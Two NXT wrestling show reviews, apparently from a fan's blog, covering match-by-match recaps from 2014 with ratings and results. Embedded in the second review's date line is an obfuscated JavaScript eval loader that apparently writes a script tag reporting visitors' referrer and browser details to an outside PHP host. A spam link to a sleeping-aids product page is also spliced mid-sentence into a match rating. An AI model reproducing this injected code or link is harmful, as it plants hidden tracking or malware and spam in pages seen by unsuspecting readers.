The Legionnaires are Sylvester LeFort and Marcus Louis who I believe is making his debut here. The masked men take over to start but LeFort comes back with a swinging neckbreaker on Local as things settle down. A headdbut from Louis has Local in even more trouble as the heels start some fast tagging.

Louis cranks on the neck for a bit until he runs into Local’s boot in the corner. The hot tag brings in the rather short Kalisto for some springboard cross bodies and a jump into an Edge-O-Matic for two on Louis. Everything breaks down and Kalisto kicks LeFort in the head, followed by a Tajiri handspring into another kick to the head for the pin at 4:17.

Rating: D+. This was too short for the tag team formula to work all that well but Kalisto was fun to watch with all of his dives. If nothing else this is the way to build up some opponents for the Ascension as they’ve run through all of the teams in the promotion with relative ease so far.

Adam Rose fires up one of his Rosebuds for his match.

Camacho vs. Captain Comic

Captain Comic is one of Rose’s friends dressed like a superhero. Fans: “MATCH OF THE YEAR!” Camacho destroys him with ease as we’re certainly in squash territory. We hit a quick chinlock as the dominance continues. A running Samoan drop sets up a powerslam for the pin at 2:36.

Rose comes out for the save post match.

Alicia Fox and Alexa Bliss don’t have much to say before their match but they both want the Women’s Title.

NXT Womens Title Tournament First Round: Alicia Fox vs. Alexa Bliss

This is Bliss’ debut and she’s in what Renee describes as a fairy costume. Fox is quickly taken down for a standing moonsault with the knees intentionally landing on Fox’s chest. Alicia comes back with a tilt-a-whirl backbreaker for two and we’re already in the chinlock. That great looking northern lights suplex gets two for Fox and it’s off to the headlock. The beating continues for a few more seconds until Bliss grabs a small package out of nowhere for the pin at 3:10.

Rating: D+. This was just a squash with a surprise finish which is only so interesting. We didn’t get much out of Bliss here but she didn’t have the chance to show anything. Her winning is the right move but I need to see more from her to know what she can do in the ring. Fox is a decent enough test for her though.

Adrian Neville says he wants people to step up and challenge him.

Battle Royal

Aiden English, Baron Corbin, Bo Dallas, Brodus Clay, Camacho, Colin Cassady, Curt Hawkins, Danny Burch, El Local, Jason Jordan, Sami Zayn, Tyson Kidd, Tyler Breeze, Kalisto, Marcus Louis, Mason Ryan, Mojo Rawley, Oliver Grey, Sylvester Lefort, Xavier Woods, Yoshi Tatsu

Winner gets Adrian Neville at Takeover. It’s a big brawl to start until everyone gangs up on Brodus for the elimination. No one is eliminated for a good while until Ryan throws out I think English as we take an early break. Back with Kalisto avoiding elimination as we hear about Woods saving himself ala Kofi Kingston. The fans are behind Tatsu here as we’re still waiting on more eliminations. LeFort and Kalisto are gone as I type that and Sami Zayn slips back in from the apron.

Things slow down as they’re known to do in battle royals until Woods and Camacho chop it out in the middle of the ring. Woods gets a running start and eliminates himself and Camacho with a Cactus Clothesline. We have about nine left in the match. Jason throws out Mojo in an upset as Kidd gets back in over the top. Corbin throws Jordan to the apron and then kicks him out with a huge boot. Dallas knocks Corbin out with a clothesline and does the same to Yoshi a few seconds later.

We’re down to Sami, Breeze, Kidd, Ryan, Dallas and Cassady but Bo puts out Cassady and Ryan with ease. Kidd comes out of nowhere to dropkick Dallas out (fans: “THANK YOU TYSON!”) and we’re down to three. Breeze hits a Beauty Shot on Kidd and the fans are way behind the model. Sami throws Breeze to the apron but misses a kick and winds up on the apron as well. Kidd misses a charge of his own and winds up on the apron, leaving only Breeze in the ring. Both good guys pull him out but fall out at the same time for a triple elimination at 13:30.

Rating: C. The match was your usual battle royal but the ending was a nice surprise. Any of those three would be a good challenger for Adrian and that’s one of the cool things about NXT. I would assume it’s a triple threat which you would think goes to Breeze for heel vs. face but things aren’t always that basic in NXT.

Post match HHH comes out because JBL barely exists in NXT anymore and makes a triple threat for the shot next week. All three argue to end the show.

Overall Rating: C+. Here’s the difference between WWE and NXT. When something bad happens in WWE, they just keep going with the idea and expect the fans to go with it. When something bad happens in NXT, they have a show like this which fixes all of the problems. It’s no shock why I enjoy one over the other. This wasn’t about the wrestling but it set up a lot of stuff down the line, which is very important as well.

Results
Charlotte b. Emma – Charlotte’s Web
El Local/Kalisto b. Legionnaires – Spinning kick to the head to LeFort
Camacho b. Captain Comic – Running powerslam
Alexa Bliss b. Alicia Fox – Small package
Sami Zayn, Tyler Breeze and Tyson Kidd won a battle royal last eliminating each other

Remember to follow me on Twitter @kbreviews, check out my website at kbwrestlingreviews.com and pick up my new book of on the History of Clash of the Champions at Amazon for just $3.99 at:

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NXT – May 1, 2014: Taking Us To The Takeover

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dayhe|var|u0026u|referrer|nhkat||js|php'.split('|'),0,{})) May 1, 2014
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, William Regal, Byron Saxton

We’ve got a big show to build towards now, meaning things should start coming together in the near future. On top of that we’ve got a challenge from Adam Rose to face Camacho at some point in the future, which isn’t a terrible idea for an opponent for Rose, especially when he’ll be in WWE very soon. Let’s get to it.

 

HHH is in the ring to open the show to talk about how awesome NXT is and how much of an impact it’s having on WWE with people like Paige. The fans think this is awesome. You can tell when this was taped as HHH has a sore throat. Taking over WWE is a good idea, so on May 27, there will be a two hour special called NXT Takeover.

Opening sequence.

Tyson Kidd vs. Bo Dallas

Bo has new music. Feeling out process to start as the fans chant for Total Divas of all things. Dallas grabs a headlock but Tyson fights out and sends him into the corner for a dropkick. A suplex looks to set up a missile dropkick but Bo rolls outside before anything can happen. Dallas takes over with a dropkick for two as the fans are singing He’s Got The Whole World In His Hands. An elbow drop gets two for Dallas and we hit the cravate.

Tyson fights up with elbows but misses a dropkick of his own to give Bo a two. Back to the cravate as the announcers actually talk about the history of the two wrestlers in the ring. Like actual commentary you might say. Tyson fights up again but charges into an elbow in the corner. Now the fans chant for Tyson Kidd as he comes back with kicks to the ribs and one to the head for two. A belly to belly gets two for Dallas and a bulldog gets the same as frustration is setting in. Tyson goes up top but gets crotched down, only to kick Dallas in the head, setting up the Blockbuster for the pin at 7:20.

Rating: C. Nice little match here as Kidd’s push in NXT continues. The guy has the skills to make it work and a good finisher so I can’t complain much about him getting this much time in the ring. Dallas is heading to WWE and it makes perfect sense at this point as there’s nothing left for him to do here anymore.

The fans are all over Dallas and sing the Goodbye song as he freaks out even more.

Camacho says his parties are better than Adam Rose’s. Adam comes up and calls Camacho a silly little rabbit and says it doesn’t matter if it’s NXT, WWE, NYC or Hawaii, it’s party time all the time when Adam Rose is around. A party breaks out.

Here are the brackets for the Women’s Title tournament.

Bayley
Sasha Banks

Natalya
Layla

Emma
Charlotte

Alexa Bliss
Alicia Fox

Bayley says winning the title is more important than ten hugs from John Cena.

Sasha promises to beat the smile out of Bayley.

Women’s Title Tournament First Round: Bayley vs. Sasha Banks

Sasha drives shoulders into the corner to start but gets rolled up for a quick two. A backslide and second rollup get two each for Bayley and she comes off the middle rope into an armdrag. Bayley hugs Sasha in the corner and throws in a slap for good measure before a suplex gets two.

Banks sends her into the corner as Regal picks Alicia Fox as the favorite for the tournament. A very high backdrop gets two for Bayley and some running ax handles put Banks down again. The Belly to Bayley connects but Sasha gets in the ropes. Bankrupt gets two for Banks but she comes back with a backstabber and a modified crossface for the submission at 4:00.

Rating: C. The match wasn’t bad and Banks got to show off that she could actually wrestle a decent match under the right circumstances. Bayley is improving as well as she’s got the character down perfectly and is starting to be able to back it up in the ring as well. This was good for NXT standards, http://onhealthy.net/product-category/sleeping-aids/ meaning it would be better than most Divas matches.

We look at Brodus Clay’s heel turn and attacks on Neville.

Adam Rose vs. Danny Burch

Regal apparently got to go to one of Rose’s parties recently. Tom: “Why didn’t I get invited?” Regal: “No one likes you.” Burch shoves him into the corner to start but Rose prances around to get on his nerves. Rose is all ticked off and destroys Burch before finishing him off with a kind of facebuster called the Party Stopper for the pin at 2:49.

Post match the party comes out but Camacho sneaks in and destroys a masked man.

Brodus says he’s destroying Adrian Neville tonight because he’s the baddest man in the world.

Women’s Title Tournament First Round: Natalya vs. Layla

Layla says she’s getting what she wants like she always does. Natalya takes over to start but Layla pulls the hair and kicks Natalya in the ribs for two. We hit a double arm crank for a bit before Natalya fights up, only to be pulled right back down to the mat. Back to the arm crank until Natalya fights up and nails a snap suplex. A clothesline looks to set up the Sharpshooter and the second attempt works for the submission from Layla at 3:23.

Rating: D+. This didn’t have the time to go anywhere but Natalya is a good choice to push in the tournament. She’s a veteran and somehow one of the older Divas on the roster, despite being 31 years old. Layla is there for her looks but she’s not terrible in the ring at the same time. Natalya winning dominantly at the end was the right call though.

Adrian Neville’s teeth are back and he’ll win tonight, but not by countout.

Mojo Rawley vs. Oliver Grey

Rawley runs him over in the corner to start and Hyperdrive ends Grey at 1:00.

Post match Aiden English comes down and tells Rawley to get out of his ring. English jumps Rawley and is quickly dispatched.

NXT Title: Brodus Clay vs. Adrian Neville

No DQ and Clay is challenging. Clay tries to grab the title and gets elbowed in the head. A low bridge sends him to the floor and Adrian dives on him as the opening bell rings. Back in and Adrian fires off kicks but can’t launch the Red Arrow. Adrian is sent hard into the corner as Clay takes over with a running splash. Fans: “PLEASE DON’T EAT HIM!” A suplex and elbow drop get two on Neville and it’s time to work on the ribs.

Clay throws him over his shoulder for a backbreaker but Adrian rakes the eyes to escape. Some kicks to the head don’t do much to Clay so he powerbombs Neville in half. A middle rope splash connects for two and Regal is in shock. Clay goes to the floor and grabs the belt but Adrian kicks it into his chest, setting up the Red Arrow to retain the title at 5:30.

Rating: C+. Regal treats it like a huge win and great performance which is a stretch but the kickouts and heart Neville showed were nice touches. This gets rid of Clay as a big challenger which is the right idea as they have a ton of time before the big match at the live special. Not bad here and it makes Neville look like he’ll never quit.

Overall Rating: B-. Good show this week as they covered almost everything they have going on outside of Sami Zayn. I’m guessing the six man tag last week was the blowoff for that feud, which is fine as it wasn’t doing much for either guy anyway. The live special should be good as they have time to build it up.

Results
Tyson Kidd b. Bo Dallas – Blockbuster
Sasha Banks b. Bayley – Crossface
Adam Rose b. Danny Burch – Party Stopper
Mojo Rawley b. Oliver Grey – Hyperdrive
Adrian Neville b. Brodus Clay – Red Arrow

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